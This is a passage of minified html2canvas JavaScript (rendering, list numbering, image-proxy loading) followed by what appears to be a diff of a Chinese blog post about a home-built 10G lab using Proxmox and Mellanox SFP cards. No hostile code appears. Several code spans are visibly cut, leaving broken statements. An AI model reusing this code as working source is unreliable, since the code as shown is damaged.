B=A.createElement("div");return B.style.backgroundImage="url(".concat(n,")"),B.style.height="".concat(100,"px"),JA(r)?kA(VA(100,100,0,0,B)):Promise.reject(!1)}).then(function(A){return t.drawImage(A,0,0),JA(t.getImageData(0,0,100,100).data)}).catch(function(A){return!1})}(document):Promise.resolve(!1);return Object.defineProperty(RA,"SUPPORT_FOREIGNOBJECT_DRAWING",{value:A}),A},get SUPPORT_CORS_IMAGES(){var A=void 0!==(new Image).crossOrigin;return Object.defineProperty(RA,"SUPPORT_CORS_IMAGES",{value:A}),A},get SUPPORT_RESPONSE_TYPE(){var A="string"==typeof(new XMLHttpRequest).responseType;return Object.defineProperty(RA,"SUPPORT_RESPONSE_TYPE",{value:A}),A},get SUPPORT_CORS_XHR(){var A="withCredentials"in new XMLHttpRequest;return Object.defineProperty(RA,"SUPPORT_CORS_XHR",{value:A}),A}},_A=RA,PA=t(0),GA=function A(e,t){!function(A,e){if(!(A instanceof e))throw new TypeError("Cannot call a class as a function")}(this,A),this.text=e,this.bounds=t},WA=function(A,e,t){var r=A.ownerDocument.createElement("html2canvaswrapper");r.appendChild(A.cloneNode(!0));var n=A.parentNode;if(n){n.replaceChild(r,A);var B=O(r,e,t);return r.firstChild&&n.replaceChild(r.firstChild,r),B}return new L(0,0,0,0)},YA=function(A,e,t,r,n){var B=A.ownerDocument.createRange();return B.setStart(A,e),B.setEnd(A,e+t),L.fromClientRect(B.getBoundingClientRect(),r,n)};function qA(A,e){for(var t=0;t0)if(_A.SUPPORT_RANGE_BOUNDS)a.push(new GA(Q,YA(t,i,Q.length,s,o)));else{var l=t.splitText(Q.length);a.push(new GA(Q,WA(t,s,o))),t=l}else _A.SUPPORT_RANGE_BOUNDS||(t=t.splitText(Q.length));i+=Q.length}return a}(r,t,e))}}]),A}(),ZA=/(^|\s|:|-|\(|\))([a-z])/g,$A=function(A,e){switch(e){case 1:return A.toLowerCase();case 3:return A.replace(ZA,Ae);case 2:return A.toUpperCase();default:return A}};function Ae(A,e,t){return A.length>0?e+t.toUpperCase():A}var ee=function A(e,t,n){!function(A,e){if(!(A instanceof e))throw new TypeError("Cannot call a class as a function")}(this,A),this.type=r.CIRCLE,this.x=e,this.y=t,this.radius=n},te=new U([42,42,42]),re=new U([165,165,165]),ne=new U([222,222,222]),Be={borderWidth:1,borderColor:re,borderStyle:1},se=[Be,Be,Be,Be],oe={backgroundColor:ne,backgroundImage:[],backgroundClip:W.PADDING_BOX,backgroundOrigin:Y.PADDING_BOX},ae=new v("50%"),ie=[ae,ae],ce=[ie,ie,ie,ie],Qe=new v("3px"),le=[Qe,Qe],we=[le,le,le,le],ue=function(A){return"radio"===A.type?ce:we},Ue=function(A,e){if("radio"===A.type||"checkbox"===A.type){if(A.checked){var t=Math.min(e.bounds.width,e.bounds.height);e.childNodes.push("checkbox"===A.type?[new M(e.bounds.left+.39363*t,e.bounds.top+.79*t),new M(e.bounds.left+.16*t,e.bounds.top+.5549*t),new M(e.bounds.left+.27347*t,e.bounds.top+.44071*t),new M(e.bounds.left+.39694*t,e.bounds.top+.5649*t),new M(e.bounds.left+.72983*t,e.bounds.top+.23*t),new M(e.bounds.left+.84*t,e.bounds.top+.34085*t),new M(e.bounds.left+.39363*t,e.bounds.top+.79*t)]:new ee(e.bounds.left+t/4,e.bounds.top+t/4,t/4))}}else he(de(A),A,e,!1)},ge=function(A,e){he(A.value,A,e,!0)},Fe=function(A,e){var t=A.options[A.selectedIndex||0];he(t&&t.text||"",A,e,!1)},Ce=function(A){return A.width>A.height?(A.left+=(A.width-A.height)/2,A.width=A.height):A.width0&&n){var B=e.ownerDocument.createElement("html2canvaswrapper");b(e.ownerDocument.defaultView.getComputedStyle(e,null),B),B.style.position="absolute",B.style.left="".concat(t.bounds.left,"px"),B.style.top="".concat(t.bounds.top,"px"),r||(B.style.whiteSpace="nowrap");var s=e.ownerDocument.createTextNode(A);B.appendChild(s),n.appendChild(B),t.childNodes.push(jA.fromTextNode(s,t)),n.removeChild(B)}},de=function(A){var e="password"===A.type?new Array(A.value.length+1).join("•"):A.value;return 0===e.length?A.placeholder||"":e},He=["OL","UL","MENU"],fe=function(A){var e=A.parent;if(!e)return null;do{if(-1!==He.indexOf(e.tagName))return e;e=e.parent}while(e);return A.parent},Ee=function(A,e,t){var r=e.style.listStyle;if(r){var n,B=A.ownerDocument.defaultView.getComputedStyle(A,null),s=A.ownerDocument.createElement("html2canvaswrapper");switch(b(B,s),s.style.position="absolute",s.style.bottom="auto",s.style.display="block",s.style.letterSpacing="normal",r.listStylePosition){case 1:s.style.left="auto",s.style.right="".concat(A.ownerDocument.defaultView.innerWidth-e.bounds.left-e.style.margin[1].getAbsoluteValue(e.bounds.width)+7,"px"),s.style.textAlign="right";break;case 0:s.style.left="".concat(e.bounds.left-e.style.margin[3].getAbsoluteValue(e.bounds.width),"px"),s.style.right="auto",s.style.textAlign="left"}var o=e.style.margin[0].getAbsoluteValue(e.bounds.width),a=r.listStyleImage;if(a)if("url"===a.method){var i=A.ownerDocument.createElement("img");i.src=a.args[0],s.style.top="".concat(e.bounds.top-o,"px"),s.style.width="auto",s.style.height="auto",s.appendChild(i)}else{var c=.5*parseFloat(e.style.font.fontSize);s.style.top="".concat(e.bounds.top-o+e.bounds.height-1.5*c,"px"),s.style.width="".concat(c,"px"),s.style.height="".concat(c,"px"),s.style.backgroundImage=B.listStyleImage}else"number"==typeof e.listIndex&&(n=A.ownerDocument.createTextNode(Me(e.listIndex,r.listStyleType,!0)),s.appendChild(n),s.style.top="".concat(e.bounds.top-o,"px"));var Q=A.ownerDocument.body;Q.appendChild(s),n?(e.childNodes.push(jA.fromTextNode(n,e)),Q.removeChild(s)):e.childNodes.push(new Xe(s,e,t,0))}},pe={integers:[1e3,900,500,400,100,90,50,40,10,9,5,4,1],values:["M","CM","D","CD","C","XC","L","XL","X","IX","V","IV","I"]},Ke={integers:[9e3,8e3,7e3,6e3,5e3,4e3,3e3,2e3,1e3,900,800,700,600,500,400,300,200,100,90,80,70,60,50,40,30,20,10,9,8,7,6,5,4,3,2,1],values:["Ք","Փ","Ւ","Ց","Ր","Տ","Վ","Ս","Ռ","Ջ","Պ","Չ","Ո","Շ","Ն","Յ","Մ","Ճ","Ղ","Ձ","Հ","Կ","Ծ","Խ","Լ","Ի","Ժ","Թ","Ը","Է","Զ","Ե","Դ","Գ","Բ","Ա"]},me={integers:[1e4,9e3,8e3,7e3,6e3,5e3,4e3,3e3,2e3,1e3,400,300,200,100,90,80,70,60,50,40,30,20,19,18,17,16,15,10,9,8,7,6,5,4,3,2,1],values:["י׳","ט׳","ח׳","ז׳","ו׳","ה׳","ד׳","ג׳","ב׳","א׳","ת","ש","ר","ק","צ","פ","ע","ס","נ","מ","ל","כ","יט","יח","יז","טז","טו","י","ט","ח","ז","ו","ה","ד","ג","ב","א"]},be={integers:[1e4,9e3,8e3,7e3,6e3,5e3,4e3,3e3,2e3,1e3,900,800,700,600,500,400,300,200,100,90,80,70,60,50,40,30,20,10,9,8,7,6,5,4,3,2,1],values:["ჵ","ჰ","ჯ","ჴ","ხ","ჭ","წ","ძ","ც","ჩ","შ","ყ","ღ","ქ","ფ","ჳ","ტ","ს","რ","ჟ","პ","ო","ჲ","ნ","მ","ლ","კ","ი","თ","ჱ","ზ","ვ","ე","დ","გ","ბ","ა"]},Ne=function(A,e,t,r,n,B){return At?Me(A,n,B.length>0):r.integers.reduce(function(e,t,n){for(;A>=t;)A-=t,e+=r.values[n];return e},"")+B},ye=function(A,e,t,r){var n="";do{t||A--,n=r(A)+n,A/=e}while(A*e>=e);return n},ve=function(A,e,t,r,n){var B=t-e+1;return(A<0?"-":"")+(ye(Math.abs(A),B,r,function(A){return Object(PA.fromCodePoint)(Math.floor(A%B)+e)})+n)},Ie=function(A,e){var t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:". ",r=e.length;return ye(Math.abs(A),r,!1,function(A){return e[Math.floor(A%r)]})+t},De=function(A,e,t,r,n,B){if(A<-9999||A>9999)return Me(A,4,n.length>0);var s=Math.abs(A),o=n;if(0===s)return e[0]+o;for(var a=0;s>0&&a<=4;a++){var i=s%10;0===i&&K(B,1)&&""!==o?o=e[i]+o:i>1||1===i&&0===a||1===i&&1===a&&K(B,2)||1===i&&1===a&&K(B,4)&&A>100||1===i&&a>1&&K(B,8)?o=e[i]+(a>0?t[a-1]:"")+o:1===i&&a>0&&(o=t[a-1]+o),s=Math.floor(s/10)}return(A<0?r:"")+o},Me=function(A,e,t){var r=t?". ":"",n=t?"、":"",B=t?", ":"";switch(e){case 0:return"•";case 1:return"◦";case 2:return"◾";case 5:var s=ve(A,48,57,!0,r);return s.length<4?"0".concat(s):s;case 4:return Ie(A,"〇一二三四五六七八九",n);case 6:return Ne(A,1,3999,pe,3,r).toLowerCase();case 7:return Ne(A,1,3999,pe,3,r);case 8:return ve(A,945,969,!1,r);case 9:return ve(A,97,122,!1,r);case 10:return ve(A,65,90,!1,r);case 11:return ve(A,1632,1641,!0,r);case 12:case 49:return Ne(A,1,9999,Ke,3,r);case 35:return Ne(A,1,9999,Ke,3,r).toLowerCase();case 13:return ve(A,2534,2543,!0,r);case 14:case 30:return ve(A,6112,6121,!0,r);case 15:return Ie(A,"子丑寅卯辰巳午未申酉戌亥",n);case 16:return Ie(A,"甲乙丙丁戊己庚辛壬癸",n);case 17:case 48:return De(A,"零一二三四五六七八九","十百千萬","負",n,14);case 47:return De(A,"零壹貳參肆伍陸柒捌玖","拾佰仟萬","負",n,15);case 42:return De(A,"零一二三四五六七八九","十百千萬","负",n,14);case 41:return De(A,"零壹贰叁肆伍陆柒捌玖","拾佰仟萬","负",n,15);case 26:return De(A,"〇一二三四五六七八九","十百千万","マイナス",n,0);case 25:return De(A,"零壱弐参四伍六七八九","拾百千万","マイナス",n,7);case 31:return De(A,"영일이삼사오육칠팔구","십백천만","마이너스",B,7);case 33:return De(A,"零一二三四五六七八九","十百千萬","마이너스",B,0);case 32:return De(A,"零壹貳參四五六七八九","拾百千","마이너스",B,7);case 18:return ve(A,2406,2415,!0,r);case 20:return Ne(A,1,19999,be,3,r);case 21:return ve(A,2790,2799,!0,r);case 22:return ve(A,2662,2671,!0,r);case 22:return Ne(A,1,10999,me,3,r);case 23:return Ie(A,"あいうえおかきくけこさしすせそたちつてとなにぬねのはひふへほまみむめもやゆよらりるれろわゐゑをん");case 24:return Ie(A,"いろはにほへとちりぬるをわかよたれそつねならむうゐのおくやまけふこえてあさきゆめみしゑひもせす");case 27:return ve(A,3302,3311,!0,r);case 28:return Ie(A,"アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヰヱヲン",n);case 29:return Ie(A,"イロハニホヘトチリヌルヲワカヨタレソツネナラムウヰノオクヤマケフコエテアサキユメミシヱヒモセス",n);case 34:return ve(A,3792,3801,!0,r);case 37:return ve(A,6160,6169,!0,r);case 38:return ve(A,4160,4169,!0,r);case 39:return ve(A,2918,2927,!0,r);case 40:return ve(A,1776,1785,!0,r);case 43:return ve(A,3046,3055,!0,r);case 44:return ve(A,3174,3183,!0,r);case 45:return ve(A,3664,3673,!0,r);case 46:return ve(A,3872,3881,!0,r);case 3:default:return ve(A,48,57,!0,r)}};function Te(A,e){for(var t=0;t0&&0===this.style.visibility}},{key:"isAbsolutelyPositioned",value:function(){return this.style.position!==mA.STATIC&&this.style.position!==mA.RELATIVE}},{key:"isPositioned",value:function(){return this.style.position!==mA.STATIC}},{key:"isFloating",value:function(){return 0!==this.style.float}},{key:"isRootElement",value:function(){return null===this.parent}},{key:"isTransformed",value:function(){return null!==this.style.transform}},{key:"isPositionedWithZIndex",value:function(){return this.isPositioned()&&!this.style.zIndex.auto}},{key:"isInlineLevel",value:function(){return K(this.style.display,QA.INLINE)||K(this.style.display,QA.INLINE_BLOCK)||K(this.style.display,QA.INLINE_FLEX)||K(this.style.display,QA.INLINE_GRID)||K(this.style.display,QA.INLINE_LIST_ITEM)||K(this.style.display,QA.INLINE_TABLE)}},{key:"isInlineBlockOrInlineTable",value:function(){return K(this.style.display,QA.INLINE_BLOCK)||K(this.style.display,QA.INLINE_TABLE)}}]),A}(),ze=function(A,e){if(A instanceof A.ownerDocument.defaultView.SVGSVGElement||A instanceof SVGSVGElement){var t=new XMLSerializer;return e.loadImage("data:image/svg+xml,".concat(encodeURIComponent(t.serializeToString(A))))}switch(A.tagName){case"IMG":var r=A;return e.loadImage(r.currentSrc||r.src);case"CANVAS":var n=A;return e.loadCanvas(n);case"IFRAME":var B=A.getAttribute("data-html2canvas-internal-iframe-key");if(B)return B}return null};function Le(A,e){for(var t=0;tA.optimumDistance)?{optimumCorner:n,optimumDistance:B}:A},{optimumDistance:r?1/0:-1/0,optimumCorner:null}).optimumCorner},at=function(A,e,t,r,n){var B=t.x,s=t.y,o=0,a=0;switch(A){case"closest-side":0===e?o=a=Math.min(Math.abs(B),Math.abs(B-n.width),Math.abs(s),Math.abs(s-n.height)):1===e&&(o=Math.min(Math.abs(B),Math.abs(B-n.width)),a=Math.min(Math.abs(s),Math.abs(s-n.height)));break;case"closest-corner":if(0===e)o=a=Math.min(m(B,s),m(B,s-n.height),m(B-n.width,s),m(B-n.width,s-n.height));else if(1===e){var i=Math.min(Math.abs(s),Math.abs(s-n.height))/Math.min(Math.abs(B),Math.abs(B-n.width)),c=ot(n,B,s,!0);a=i*(o=m(c.x-B,(c.y-s)/i))}break;case"farthest-side":0===e?o=a=Math.max(Math.abs(B),Math.abs(B-n.width),Math.abs(s),Math.abs(s-n.height)):1===e&&(o=Math.max(Math.abs(B),Math.abs(B-n.width)),a=Math.max(Math.abs(s),Math.abs(s-n.height)));break;case"farthest-corner":if(0===e)o=a=Math.max(m(B,s),m(B,s-n.height),m(B-n.width,s),m(B-n.width,s-n.height));else if(1===e){var Q=Math.max(Math.abs(s),Math.abs(s-n.height))/Math.max(Math.abs(B),Math.abs(B-n.width)),l=ot(n,B,s,!1);a=Q*(o=m(l.x-B,(l.y-s)/Q))}break;default:o=r.x||0,a=void 0!==r.y?r.y:o}return{x:o,y:a}},it=function(A){var e="",t="",r="",n="",B=0,s=/^(left|center|right|\d+(?:px|r?em|%)?)(?:\s+(top|center|bottom|\d+(?:px|r?em|%)?))?$/i,o=/^\d+(px|r?em|%)?(?:\s+\d+(px|r?em|%)?)?$/i,a=A[B].match(s);a&&B++;var i=A[B].match(/^(circle|ellipse)?\s*(closest-side|closest-corner|farthest-side|farthest-corner|contain|cover)?$/i);i&&(e=i[1]||"","contain"===(r=i[2]||"")?r="closest-side":"cover"===r&&(r="farthest-corner"),B++);var c=A[B].match(o);c&&B++;var Q=A[B].match(s);Q&&B++;var l=A[B].match(o);l&&B++;var w=Q||a;w&&w[1]&&(n=w[1]+(/^\d+$/.test(w[1])?"px":""),w[2]&&(n+=" "+w[2]+(/^\d+$/.test(w[2])?"px":"")));var u=l||c;return u&&(t=u[0],u[1]||(t+="px")),!n||e||t||r||(t=n,n=""),n&&(n="at ".concat(n)),[[e,r,t,n].filter(function(A){return!!A}).join(" ")].concat(A.slice(B))},ct=function(A){return A.map(function(A){return A.match(je)}).map(function(e,t){if(!e)return A[t];switch(e[1]){case"from":return"".concat(e[4]," 0%");case"to":return"".concat(e[4]," 100%");case"color-stop":return"%"===e[3]?"".concat(e[4]," ").concat(e[2]):"".concat(e[4]," ").concat(100*parseFloat(e[2]),"%")}})};function Qt(A,e){return function(A){if(Array.isArray(A))return A}(A)||function(A,e){var t=[],r=!0,n=!1,B=void 0;try{for(var s,o=A[Symbol.iterator]();!(r=(s=o.next()).done)&&(t.push(s.value),!e||t.length!==e);r=!0);}catch(A){n=!0,B=A}finally{try{r||null==o.return||o.return()}finally{if(n)throw B}}return t}(A,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}function lt(A,e){for(var t=0;t0?t.width:r.width,B="number"==typeof t.height&&t.height>0?t.height:r.height;n>0&&B>0&&e.target.clip([k(A.curvedBounds)],function(){e.target.drawImage(t,new L(0,0,n,B),r)})}}},r=A.getClipPaths();r.length?this.target.clip(r,t):t()}},{key:"renderNodeBackgroundAndBorders",value:function(A){var e=this,t=!A.style.background.backgroundColor.isTransparent()||A.style.background.backgroundImage.length,r=A.style.border.some(function(A){return 0!==A.borderStyle&&!A.borderColor.isTransparent()}),n=function(){var r=function(A,e){switch(e){case W.BORDER_BOX:return function(A){return[A.topLeftOuter,A.topRightOuter,A.bottomRightOuter,A.bottomLeftOuter]}(A);case W.PADDING_BOX:default:return k(A)}}(A.curvedBounds,A.style.background.backgroundClip);t&&e.target.clip([r],function(){A.style.background.backgroundColor.isTransparent()||e.target.fill(A.style.background.backgroundColor),e.renderBackgroundImage(A)}),A.style.border.forEach(function(t,r){0===t.borderStyle||t.borderColor.isTransparent()||e.renderBorder(t,r,A.curvedBounds)})};if(t||r){var B=A.parent?A.parent.getClipPaths():[];B.length?this.target.clip(B,n):n()}}},{key:"renderBackgroundImage",value:function(A){var e=this;A.style.background.backgroundImage.slice(0).reverse().forEach(function(t){"url"===t.source.method&&t.source.args.length?e.renderBackgroundRepeat(A,t):/gradient/i.test(t.source.method)&&e.renderBackgroundGradient(A,t)})}},{key:"renderBackgroundRepeat",value:function(A,e){var t=this.options.imageStore.get(e.source.args[0]);if(t){var r=Z(A.style.background.backgroundOrigin,A.bounds,A.style.padding,A.style.border),n=function(A,e,t){var r=0,n=0,B=A.size;if(1===B[0].size||2===B[0].size){var s=t.width/t.height,o=e.width/e.height;return s0?r.push(a):t.push(a):a.container.isFloating()?n.push(a):B.push(a)}return[e,t,r,n,B]},gt=function(A,e){return A.container.style.zIndex.order>e.container.style.zIndex.order?1:A.container.style.zIndex.ordere.container.index?1:-1},Ft=function(A,e){if(!e.proxy)return Promise.reject(null);var t=e.proxy;return new Promise(function(r,n){var B=_A.SUPPORT_CORS_XHR&&_A.SUPPORT_RESPONSE_TYPE?"blob":"text",s=_A.SUPPORT_CORS_XHR?new XMLHttpRequest:new XDomainRequest;if(s.onload=function(){if(s instanceof XMLHttpRequest)if(200===s.status)if("text"===B)r(s.response);else{var A=new FileReader;A.addEventListener("load",function(){return r(A.result)},!1),A.addEventListener("error",function(A){return n(A)},!1),A.readAsDataURL(s.response)}else n("");else r(s.responseText)},s.onerror=n,s.open("GET","".concat(t,"?url=").concat(encodeURIComponent(A),"&responseType=").concat(B)),"text"!==B&&s instanceof XMLHttpRequest&&(s.responseType=B),e.imageTimeout){var o=e.imageTimeout;s.timeout=o,s.ontimeout=function(){return n("")}}s.send()})};function Ct(A,e){if(!(A instanceof e))throw new TypeError("Cannot call a class as a function")}function ht(A,e){for(var t=0;t0&&t.push({type:1,value:i[0]});break;case"counter":if(i.length>0){var l={type:3,name:i[0]};i.length>1&&(l.format=i[1]),t.push(l)}break;case"counters":if(i.length>0){var w={type:4,name:i[0]};i.length>1&&(w.glue=i[1]),i.length>2&&(w.format=i[2]),t.push(w)}break;case"url":i.length>0&&t.push({type:2,value:i[0]})}s=!1,o=""}break;case",":n?o+=Q:s&&(i.push(o),o="");break;case" ":case"\t":n?o+=Q:o&&(Tt(t,o),o="");break;default:o+=Q}"\\"!==Q&&(B=!1)}return o&&Tt(t,o),e&&(e[A]=t),t},Tt=function(A,e){switch(e){case"open-quote":A.push({type:5});break;case"close-quote":A.push({type:6})}},St=function(A,e,t){var r=A.quotes?A.quotes.split(/\s+/):["'\"'","'\"'"],n=2*t;return n>=r.length&&(n=r.length-2),e||++n,r[n].replace(/^["']|["']$/g,"")},Xt=function(A,e,t){for(var r=A.length,n="",B=0;B0&&(n+=e||""),n+=Me(A[B],CA(t||"decimal"),!1);return n};function zt(A,e){for(var t=0;t1&&(t.backgroundColor=""),t.backgroundImage=A.join(",")}),A instanceof HTMLImageElement&&this.resourceLoader.inlineImage(A.src).then(function(e){if(e&&A instanceof HTMLImageElement&&A.parentNode){var t=A.parentNode,r=b(A.style,e.cloneNode(!1));t.replaceChild(r,A)}}).catch(function(A){})}}},{key:"inlineFonts",value:function(A){var e=this;return Promise.all(Array.from(A.styleSheets).map(function(e){return e.href?fetch(e.href).then(function(A){return A.text()}).then(function(A){return xt(A,e.href)}).catch(function(A){return[]}):Ot(e,A)})).then(function(A){return A.reduce(function(A,e){return A.concat(e)},[])}).then(function(A){return Promise.all(A.map(function(A){return fetch(A.formats[0].src).then(function(A){return A.blob()}).then(function(A){return new Promise(function(e,t){var r=new FileReader;r.onerror=t,r.onload=function(){var A=r.result;e(A)},r.readAsDataURL(A)})}).then(function(e){return A.fontFace.setProperty("src",'url("'.concat(e,'")')),"@font-face {".concat(A.fontFace.cssText," ")})}))}).then(function(t){var r=A.createElement("style");r.textContent=t.join("\n"),e.documentElement.appendChild(r)})}},{key:"createElementClone",value:function(A){var e=this;if(this.copyStyles&&A instanceof HTMLCanvasElement){var t=A.ownerDocument.createElement("img");try{return t.src=A.toDataURL(),t}catch(A){}}if(A instanceof HTMLIFrameElement){var r=A.cloneNode(!1),n=qt();r.setAttribute("data-html2canvas-internal-iframe-key",n);var B=O(A,0,0),s=B.width,o=B.height;return this.resourceLoader.cache[n]=Zt(A,this.options).then(function(A){return e.renderer(A,{allowTaint:e.options.allowTaint,backgroundColor:"#ffffff",canvas:null,imageTimeout:e.options.imageTimeout,logging:e.options.logging,proxy:e.options.proxy,removeContainer:e.options.removeContainer,scale:e.options.scale,foreignObjectRendering:e.options.foreignObjectRendering,useCORS:e.options.useCORS,target:new f,width:s,height:o,x:0,y:0,windowWidth:A.ownerDocument.defaultView.innerWidth,windowHeight:A.ownerDocument.defaultView.innerHeight,scrollX:A.ownerDocument.defaultView.pageXOffset,scrollY:A.ownerDocument.defaultView.pageYOffset},e.logger.child(n))}).then(function(e){return new Promise(function(t,n){var B=document.createElement("img");B.onload=function(){return t(e)},B.onerror=function(A){"data:,"==B.src?t(e):n(A)},B.src=e.toDataURL(),r.parentNode&&r.parentNode.replaceChild(b(A.ownerDocument.defaultView.getComputedStyle(A),B),r)})}),r}try{if(A instanceof HTMLStyleElement&&A.sheet&&A.sheet.cssRules){var a=[].slice.call(A.sheet.cssRules,0).reduce(function(A,e){return e&&e.cssText?A+e.cssText:A},""),i=A.cloneNode(!1);return i.textContent=a,i}}catch(A){if(this.logger.log("Unable to access cssRules property"),"SecurityError"!==A.name)throw this.logger.log(A),A}return A.cloneNode(!1)}},{key:"cloneNode",value:function(A){var e=A.nodeType===Node.TEXT_NODE?document.createTextNode(A.nodeValue):this.createElementClone(A),t=A.ownerDocument.defaultView,r=A instanceof t.HTMLElement?t.getComputedStyle(A):null,n=A instanceof t.HTMLElement?t.getComputedStyle(A,":before"):null,B=A instanceof t.HTMLElement?t.getComputedStyle(A,":after"):null;this.referenceElement===A&&e instanceof t.HTMLElement&&(this.clonedReferenceElement=e),e instanceof t.HTMLBodyElement&&Gt(e);for(var s=function(A,e){if(!A||!A.counterReset||"none"===A.counterReset)return[];for(var t=[],r=A.counterReset.split(/\s*,\s*/),n=r.length,B=0;B0&&"complete"===t.readyState&&(clearInterval(e),r(A))},50)}})};var er=function A(e,t,r){var n=e.ownerDocument,B=new L(t.scrollX,t.scrollY,t.windowWidth,t.windowHeight),s=n.documentElement?new U(getComputedStyle(n.documentElement).backgroundColor):F,o=n.body?new U(getComputedStyle(n.body).backgroundColor):F,a=e===n.documentElement?s.isTransparent()?o.isTransparent()?t.backgroundColor?new U(t.backgroundColor):null:o:s:t.backgroundColor?new U(t.backgroundColor):null;return(t.foreignObjectRendering?_A.SUPPORT_FOREIGNOBJECT_DRAWING:Promise.resolve(!1)).then(function(s){return s?function(A){return A.inlineFonts(n).then(function(){return A.resourceLoader.ready()}).then(function(){var B=new xA(A.documentElement),s=n.defaultView,o=s.pageXOffset,i=s.pageYOffset,c="HTML"===e.tagName||"BODY"===e.tagName?x(n):O(e,o,i),Q=c.width,l=c.height,w=c.left,u=c.top;return B.render({backgroundColor:a,logger:r,scale:t.scale,x:"number"==typeof t.x?t.x:w,y:"number"==typeof t.y?t.y:u,width:"number"==typeof t.width?t.width:Math.ceil(Q),height:"number"==typeof t.height?t.height:Math.ceil(l),windowWidth:t.windowWidth,windowHeight:t.windowHeight,scrollX:t.scrollX,scrollY:t.scrollY})})}(new Lt(e,t,r,!0,A)):function(A,e,t,r,n,B){var s=new Lt(t,r,n,!1,B),o=A.defaultView.pageXOffset,a=A.defaultView.pageYOffset;return $t(A,e).then(function(n){var B=n.contentWindow,i=B.document,c=Ar(n).then(function(){s.scrolledElements.forEach(Yt),B.scrollTo(e.left,e.top),!/(iPad|iPhone|iPod)/g.test(navigator.userAgent)||B.scrollY===e.top&&B.scrollX===e.left||(i.documentElement.style.top=-e.top+"px",i.documentElement.style.left=-e.left+"px",i.documentElement.style.position="absolute");var t=Promise.resolve([n,s.clonedReferenceElement,s.resourceLoader]),o=r.onclone;return s.clonedReferenceElement instanceof B.HTMLElement||s.clonedReferenceElement instanceof A.defaultView.HTMLElement||s.clonedReferenceElement instanceof HTMLElement?"function"==typeof o?Promise.resolve().then(function(){return o(i)}).then(function(){return t}):t:Promise.reject("")});return i.open(),i.write("".concat(function(A){var e="";return A&&(e+=""),e}(document.doctype),"")),function(A,e,t){!A.defaultView||e===A.defaultView.pageXOffset&&t===A.defaultView.pageYOffset||A.defaultView.scrollTo(e,t)}(t.ownerDocument,o,a),i.replaceChild(i.adoptNode(s.documentElement),i.documentElement),i.close(),c})}(n,B,e,t,r,A).then(function(A){var e=function(A,e){return function(A){if(Array.isArray(A))return A}(A)||function(A,e){var t=[],r=!0,n=!1,B=void 0;try{for(var s,o=A[Symbol.iterator]();!(r=(s=o.next()).done)&&(t.push(s.value),!e||t.length!==e);r=!0);}catch(A){n=!0,B=A}finally{try{r||null==o.return||o.return()}finally{if(n)throw B}}return t}(A,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance")}()}(A,3),B=e[0],s=e[1],o=e[2],i=function(A,e,t){var r=0,n=new Xe(A,null,e,r++),B=new Oe(n,null,!0);return function A(e,t,r,n,B){for(var s,o=e.firstChild;o;o=s){s=o.nextSibling;var a=o.ownerDocument.defaultView;if(o instanceof a.Text||o instanceof Text||a.parent&&o instanceof a.parent.Text)o.data.trim().length>0&&t.childNodes.push(jA.fromTextNode(o,t));else if(o instanceof a.HTMLElement||o instanceof HTMLElement||a.parent&&o instanceof a.parent.HTMLElement){if(-1===xe.indexOf(o.nodeName)){var i=new Xe(o,t,n,B++);if(i.isVisible()){"INPUT"===o.tagName?Ue(o,i):"TEXTAREA"===o.tagName?ge(o,i):"SELECT"===o.tagName?Fe(o,i):i.style.listStyle&&-1!==i.style.listStyle.listStyleType&&Ee(o,i,n);var c="TEXTAREA"!==o.tagName,Q=Ve(i,o);if(Q||ke(i)){var l=Q||i.isPositioned()?r.getRealParentStackingContext():r,w=new Oe(i,l,Q);l.contexts.push(w),c&&A(o,i,w,n,B)}else r.children.push(i),c&&A(o,i,r,n,B)}}}else if(o instanceof a.SVGSVGElement||o instanceof SVGSVGElement||a.parent&&o instanceof a.parent.SVGSVGElement){var u=new Xe(o,t,n,B++),U=Ve(u,o);if(U||ke(u)){var g=U||u.isPositioned()?r.getRealParentStackingContext():r,F=new Oe(u,g,U);g.contexts.push(F)}else r.children.push(u)}}}(A,n,B,e,1),B}(s,o),c=s.ownerDocument;return a===i.container.style.background.backgroundColor&&(i.container.style.background.backgroundColor=F),o.ready().then(function(A){var e=new _e(c),o=c.defaultView,Q=o.pageXOffset,l=o.pageYOffset,w="HTML"===s.tagName||"BODY"===s.tagName?x(n):O(s,Q,l),u=w.width,U=w.height,g=w.left,F=w.top,C={backgroundColor:a,fontMetrics:e,imageStore:A,logger:r,scale:t.scale,x:"number"==typeof t.x?t.x:g,y:"number"==typeof t.y?t.y:F,width:"number"==typeof t.width?t.width:Math.ceil(u),height:"number"==typeof t.height?t.height:Math.ceil(U)};if(Array.isArray(t.target))return Promise.all(t.target.map(function(A){return new wt(A,C).render(i)}));var h=new wt(t.target,C).render(i);return!0===t.removeContainer&&B.parentNode&&B.parentNode.removeChild(B),h})})})};function tr(A,e,t){return e in A?Object.defineProperty(A,e,{value:t,enumerable:!0,configurable:!0,writable:!0}):A[e]=t,A}var rr=function(A,e){var t=e||{},r=new p("boolean"!=typeof t.logging||t.logging);r.log("html2canvas ".concat("1.0.0-rc.1"));var n=A.ownerDocument;if(!n)return Promise.reject("Provided element is not within a Document");var B=n.defaultView,s={allowTaint:!1,backgroundColor:"#ffffff",imageTimeout:15e3,logging:!0,proxy:null,removeContainer:!0,foreignObjectRendering:!1,scale:B.devicePixelRatio||1,target:new f(t.canvas),useCORS:!1,windowWidth:B.innerWidth,windowHeight:B.innerHeight,scrollX:B.pageXOffset,scrollY:B.pageYOffset};return er(A,function(A){for(var e=1;e
    + +
    + + + + + + + +
    -

    想做一個 10G 的 LAB 環境出來已經很久了。

    +
    + + + + +
    +

    [筆記] 用 proxmox & Mellanox SFP 網卡土炮 10G LAB

    +
    +
    +
    +
    +

    想做一個 10G 的 LAB 環境出來已經很久了。

    只是礙於10G RJ45的卡太貴了,然後光纖的種類又太複雜

    @@ -146,8 +322,6 @@

    今天就花了點時間測試一下

    -

    -

    先上個圖!

    10G LAB

    @@ -350,38 +524,131 @@ TCP window size: 85.0 KByte (default)

    說不定等到對岸的 10G Switch 開始大降價 (我覺得 8 port SFP+ / NTD $2000 左右我應該就會出手了)

    再來把10G 的環境弄完整一點!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
